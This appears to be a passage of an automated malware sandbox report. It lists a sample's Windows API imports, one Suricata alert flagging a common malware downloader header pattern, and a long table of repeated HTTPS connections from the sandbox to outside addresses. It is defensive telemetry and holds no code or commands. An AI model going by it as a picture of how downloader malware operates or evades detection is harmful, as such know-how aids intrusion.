ADVAPI32.dll	RegEnumValueW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, RegOpenKeyExW, RegCreateKeyExW
SHELL32.dll	SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW, ShellExecuteExW
ole32.dll	CoCreateInstance, OleUninitialize, OleInitialize, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Destroy, ImageList_AddMasked, ImageList_Create
USER32.dll	MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, CreatePopupMenu, AppendMenuW, TrackPopupMenu, OpenClipboard, EmptyClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, IsWindowEnabled, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CharPrevW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, CharNextA, wsprintfA, DispatchMessageW, CreateWindowExW, PeekMessageW, GetSystemMetrics
GDI32.dll	GetDeviceCaps, SetBkColor, SelectObject, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor
KERNEL32.dll	lstrcmpiA, CreateFileW, GetTempFileNameW, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, WriteFile, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, GetTickCount, Sleep, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, MulDiv, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, SetEnvironmentVariableW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T05:06:01.073774+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.11	49854	172.217.16.142	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:05:59.921931028 CET	49854	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:05:59.921983957 CET	443	49854	172.217.16.142	192.168.2.11
Jan 11, 2025 05:05:59.922106981 CET	49854	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:00.031179905 CET	49854	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:00.031205893 CET	443	49854	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:00.696887970 CET	443	49854	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:00.697016954 CET	49854	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:00.697674990 CET	443	49854	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:00.697782040 CET	49854	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:00.752702951 CET	49854	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:00.752738953 CET	443	49854	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:00.753103018 CET	443	49854	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:00.754420996 CET	49854	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:00.757915974 CET	49854	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:00.799345016 CET	443	49854	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:01.073786974 CET	443	49854	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:01.073878050 CET	49854	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:01.073904037 CET	443	49854	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:01.074003935 CET	49854	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:01.074117899 CET	49854	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:01.074157953 CET	443	49854	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:01.074268103 CET	49854	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:01.096949100 CET	49860	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:01.096972942 CET	443	49860	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:01.097078085 CET	49860	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:01.097399950 CET	49860	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:01.097414970 CET	443	49860	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:01.744694948 CET	443	49860	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:01.744864941 CET	49860	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:01.748553038 CET	49860	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:01.748562098 CET	443	49860	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:01.749052048 CET	443	49860	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:01.750276089 CET	49860	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:01.750626087 CET	49860	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:01.791326046 CET	443	49860	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:02.159565926 CET	443	49860	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:02.159679890 CET	443	49860	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:02.159755945 CET	443	49860	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:02.159759045 CET	49860	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:02.159797907 CET	49860	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:02.283997059 CET	49860	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:02.284024000 CET	443	49860	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:02.460442066 CET	49871	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:02.460486889 CET	443	49871	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:02.460695982 CET	49871	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:02.461028099 CET	49871	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:02.461045980 CET	443	49871	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:03.114835024 CET	443	49871	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:03.114937067 CET	49871	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:03.115639925 CET	443	49871	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:03.115698099 CET	49871	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:03.117402077 CET	49871	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:03.117413998 CET	443	49871	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:03.117669106 CET	443	49871	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:03.117723942 CET	49871	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:03.118223906 CET	49871	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:03.159328938 CET	443	49871	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:03.509226084 CET	443	49871	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:03.509327888 CET	49871	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:03.509360075 CET	443	49871	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:03.509404898 CET	49871	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:03.509522915 CET	49871	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:03.509562016 CET	443	49871	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:03.509608984 CET	49871	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:03.524933100 CET	49881	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:03.524964094 CET	443	49881	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:03.525043964 CET	49881	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:03.525378942 CET	49881	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:03.525387049 CET	443	49881	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:04.153794050 CET	443	49881	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:04.153851986 CET	49881	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:04.154270887 CET	49881	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:04.154275894 CET	443	49881	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:04.154495001 CET	49881	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:04.154498100 CET	443	49881	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:04.603609085 CET	443	49881	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:04.603712082 CET	49881	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:04.603729963 CET	443	49881	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:04.603773117 CET	49881	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:04.606878042 CET	443	49881	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:04.606945992 CET	49881	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:04.606950998 CET	443	49881	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:04.606980085 CET	443	49881	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:04.606988907 CET	49881	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:04.607038975 CET	49881	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:04.607098103 CET	49881	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:04.607110977 CET	443	49881	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:04.607122898 CET	49881	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:04.607152939 CET	49881	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:04.725528002 CET	49888	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:04.725569010 CET	443	49888	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:04.725651979 CET	49888	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:04.726006031 CET	49888	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:04.726017952 CET	443	49888	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:05.355007887 CET	443	49888	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:05.355096102 CET	49888	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:05.355803967 CET	443	49888	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:05.355869055 CET	49888	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:05.357448101 CET	49888	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:05.357458115 CET	443	49888	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:05.357703924 CET	443	49888	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:05.357750893 CET	49888	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:05.358232975 CET	49888	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:05.399332047 CET	443	49888	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:06.029364109 CET	443	49888	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:06.029422045 CET	49888	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:06.029441118 CET	443	49888	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:06.029455900 CET	443	49888	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:06.029476881 CET	49888	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:06.029505014 CET	49888	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:06.030864954 CET	49888	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:06.030881882 CET	443	49888	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:06.045917034 CET	49899	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:06.045973063 CET	443	49899	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:06.046046972 CET	49899	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:06.046317101 CET	49899	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:06.046329021 CET	443	49899	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:06.709526062 CET	443	49899	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:06.709673882 CET	49899	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:06.763158083 CET	49899	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:06.763185024 CET	443	49899	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:06.763355017 CET	49899	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:06.763360023 CET	443	49899	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:07.337424994 CET	443	49899	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:07.337486029 CET	443	49899	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:07.337548971 CET	443	49899	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:07.337552071 CET	49899	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:07.337578058 CET	49899	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:07.337678909 CET	49899	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:07.338372946 CET	49899	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:07.338387966 CET	443	49899	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:07.460046053 CET	49909	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:07.460089922 CET	443	49909	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:07.460164070 CET	49909	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:07.460424900 CET	49909	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:07.460434914 CET	443	49909	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:08.115613937 CET	443	49909	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:08.115684986 CET	49909	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:08.116137981 CET	49909	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:08.116143942 CET	443	49909	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:08.116338015 CET	49909	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:08.116343021 CET	443	49909	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:08.506503105 CET	443	49909	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:08.506743908 CET	49909	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:08.506824017 CET	49909	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:08.506877899 CET	443	49909	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:08.507049084 CET	443	49909	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:08.507105112 CET	49909	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:08.507123947 CET	49909	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:08.521692038 CET	49916	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:08.521742105 CET	443	49916	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:08.521833897 CET	49916	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:08.522063017 CET	49916	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:08.522078991 CET	443	49916	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:09.152309895 CET	443	49916	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:09.152390957 CET	49916	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:09.153208017 CET	49916	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:09.153218031 CET	443	49916	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:09.153429031 CET	49916	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:09.153434038 CET	443	49916	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:09.561610937 CET	443	49916	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:09.561675072 CET	443	49916	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:09.561691999 CET	49916	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:09.561723948 CET	443	49916	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:09.561738968 CET	49916	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:09.561785936 CET	443	49916	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:09.561830044 CET	49916	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:09.574430943 CET	49916	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:09.574450970 CET	443	49916	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:09.756977081 CET	49926	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:09.757019997 CET	443	49926	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:09.757114887 CET	49926	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:09.757452011 CET	49926	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:09.757467985 CET	443	49926	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:10.419661045 CET	443	49926	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:10.419744015 CET	49926	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:10.420444012 CET	443	49926	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:10.420507908 CET	49926	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:10.422142982 CET	49926	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:10.422158003 CET	443	49926	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:10.422478914 CET	443	49926	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:10.422544003 CET	49926	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:10.422812939 CET	49926	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:10.463336945 CET	443	49926	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:10.816293955 CET	443	49926	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:10.816474915 CET	49926	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:10.816504955 CET	443	49926	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:10.816562891 CET	49926	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:10.816634893 CET	49926	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:10.816672087 CET	443	49926	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:10.816807032 CET	49926	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:10.833883047 CET	49933	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:10.833935022 CET	443	49933	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:10.834096909 CET	49933	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:10.834583044 CET	49933	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:10.834594965 CET	443	49933	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:11.495009899 CET	443	49933	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:11.498312950 CET	49933	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:11.498707056 CET	49933	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:11.498717070 CET	443	49933	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:11.498815060 CET	49933	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:11.498820066 CET	443	49933	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:11.921576977 CET	443	49933	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:11.921660900 CET	443	49933	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:11.921679020 CET	49933	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:11.921689034 CET	443	49933	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:11.921706915 CET	49933	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:11.921731949 CET	443	49933	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:11.921777010 CET	49933	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:11.921777010 CET	49933	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:11.922216892 CET	49933	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:11.922228098 CET	443	49933	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:12.038239002 CET	49943	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:12.038279057 CET	443	49943	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:12.038348913 CET	49943	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:12.038719893 CET	49943	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:12.038737059 CET	443	49943	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:12.682660103 CET	443	49943	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:12.682729006 CET	49943	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:12.683459044 CET	443	49943	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:12.683511019 CET	49943	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:12.684849024 CET	49943	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:12.684861898 CET	443	49943	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:12.685110092 CET	443	49943	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:12.685162067 CET	49943	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:12.685462952 CET	49943	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:12.727332115 CET	443	49943	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:13.062473059 CET	443	49943	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:13.062552929 CET	49943	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:13.062730074 CET	49943	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:13.062776089 CET	443	49943	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:13.062820911 CET	49943	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:13.071652889 CET	49950	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:13.071707010 CET	443	49950	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:13.071779966 CET	49950	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:13.072051048 CET	49950	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:13.072067022 CET	443	49950	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:13.706743956 CET	443	49950	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:13.706945896 CET	49950	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:13.707248926 CET	49950	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:13.707258940 CET	443	49950	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:13.707433939 CET	49950	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:13.707438946 CET	443	49950	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:14.125607967 CET	443	49950	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:14.125684977 CET	443	49950	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:14.125756979 CET	443	49950	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:14.125809908 CET	49950	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:14.125863075 CET	49950	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:14.126393080 CET	49950	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:14.126409054 CET	443	49950	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:14.256603956 CET	49959	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:14.256639957 CET	443	49959	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:14.256724119 CET	49959	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:14.256932974 CET	49959	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:14.256944895 CET	443	49959	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:14.912580967 CET	443	49959	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:14.912784100 CET	49959	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:14.913367033 CET	443	49959	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:14.913428068 CET	49959	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:14.915208101 CET	49959	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:14.915213108 CET	443	49959	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:14.915463924 CET	443	49959	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:14.915508986 CET	49959	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:14.915904999 CET	49959	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:14.959321976 CET	443	49959	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:15.298666000 CET	443	49959	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:15.298784018 CET	49959	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:15.298796892 CET	443	49959	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:15.298839092 CET	49959	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:15.298954964 CET	49959	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:15.298990011 CET	443	49959	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:15.299032927 CET	49959	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:15.305645943 CET	49967	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:15.305691004 CET	443	49967	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:15.305778980 CET	49967	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:15.305989981 CET	49967	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:15.306003094 CET	443	49967	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:15.941395998 CET	443	49967	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:15.941487074 CET	49967	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:15.941936970 CET	49967	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:15.941945076 CET	443	49967	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:15.942117929 CET	49967	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:15.942122936 CET	443	49967	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:16.373369932 CET	443	49967	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:16.373434067 CET	443	49967	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:16.373471022 CET	49967	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:16.373497009 CET	443	49967	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:16.373508930 CET	49967	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:16.373508930 CET	443	49967	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:16.373538017 CET	49967	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:16.373564005 CET	49967	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:16.374053001 CET	49967	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:16.374067068 CET	443	49967	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:16.491043091 CET	49976	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:16.491085052 CET	443	49976	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:16.491154909 CET	49976	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:16.491358995 CET	49976	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:16.491369009 CET	443	49976	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:17.138526917 CET	443	49976	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:17.138772011 CET	49976	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:17.139327049 CET	443	49976	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:17.139849901 CET	49976	443	192.168.2.11	172.217.16.142
